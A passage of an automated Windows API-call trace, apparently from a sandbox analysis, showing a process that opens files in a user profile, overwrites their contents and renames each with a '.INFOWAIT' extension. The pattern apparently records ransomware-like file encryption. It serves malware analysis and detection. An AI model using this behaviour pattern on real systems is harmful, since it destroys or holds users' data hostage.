[0146.130] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.130] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd3, lpOverlapped=0x0) returned 1 [0146.130] CloseHandle (hObject=0xad0) returned 1 [0146.130] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" [0146.130] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.INFOWAIT" [0146.130] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini.infowait")) returned 1 [0146.130] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.131] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.131] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.131] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.132] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5a9 [0146.132] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.132] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.132] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5a9, lpOverlapped=0x0) returned 1 [0146.134] VirtualAlloc (lpAddress=0x0, dwSize=0x5a9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.134] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.134] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5a9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5a9, lpOverlapped=0x0) returned 1 [0146.134] CloseHandle (hObject=0xad0) returned 1 [0146.134] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" [0146.134] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.INFOWAIT" [0146.134] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk.infowait")) returned 1 [0146.135] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.136] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.136] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.136] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.136] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4cc [0146.137] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.137] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.137] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4cc, lpOverlapped=0x0) returned 1 [0146.139] VirtualAlloc (lpAddress=0x0, dwSize=0x4cc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.139] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.139] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4cc, lpOverlapped=0x0) returned 1 [0146.139] CloseHandle (hObject=0xad0) returned 1 [0146.140] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" [0146.140] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.INFOWAIT" [0146.140] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk.infowait")) returned 1 [0146.140] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.141] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.141] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.142] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.145] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x60b [0146.145] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.145] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.145] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x60b, lpOverlapped=0x0) returned 1 [0146.175] VirtualAlloc (lpAddress=0x0, dwSize=0x60b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.175] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.175] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x60b, lpOverlapped=0x0) returned 1 [0146.175] CloseHandle (hObject=0xad0) returned 1 [0146.175] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" [0146.175] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.INFOWAIT" [0146.175] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk.infowait")) returned 1 [0146.176] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.177] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.177] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.177] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.177] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x110 [0146.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.177] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.177] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x110, lpOverlapped=0x0) returned 1 [0146.179] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.179] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.179] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x110, lpOverlapped=0x0) returned 1 [0146.180] CloseHandle (hObject=0xad0) returned 1 [0146.180] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" [0146.180] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.INFOWAIT" [0146.180] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk.infowait")) returned 1 [0146.181] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.181] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.182] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.182] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.182] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0146.182] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.182] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.183] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4000, lpOverlapped=0x0) returned 1 [0146.184] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.185] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.185] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4000, lpOverlapped=0x0) returned 1 [0146.185] CloseHandle (hObject=0xad0) returned 1 [0146.186] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" [0146.186] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.INFOWAIT" [0146.186] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.infowait")) returned 1 [0146.186] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.187] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.187] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.187] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.187] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3c000 [0146.187] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.187] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.188] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0146.241] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0146.251] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.251] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0146.251] CloseHandle (hObject=0xad0) returned 1 [0146.252] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" [0146.252] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.INFOWAIT" [0146.252] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat.infowait")) returned 1 [0146.252] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.253] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.254] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.254] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.255] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x112 [0146.255] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.255] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.255] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x112, lpOverlapped=0x0) returned 1 [0146.256] VirtualAlloc (lpAddress=0x0, dwSize=0x112, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.256] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.256] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x112, lpOverlapped=0x0) returned 1 [0146.257] CloseHandle (hObject=0xad0) returned 1 [0146.257] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" [0146.257] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.INFOWAIT" [0146.257] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini.infowait")) returned 1 [0146.257] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.258] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.258] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.258] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.258] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe03 [0146.258] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.259] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 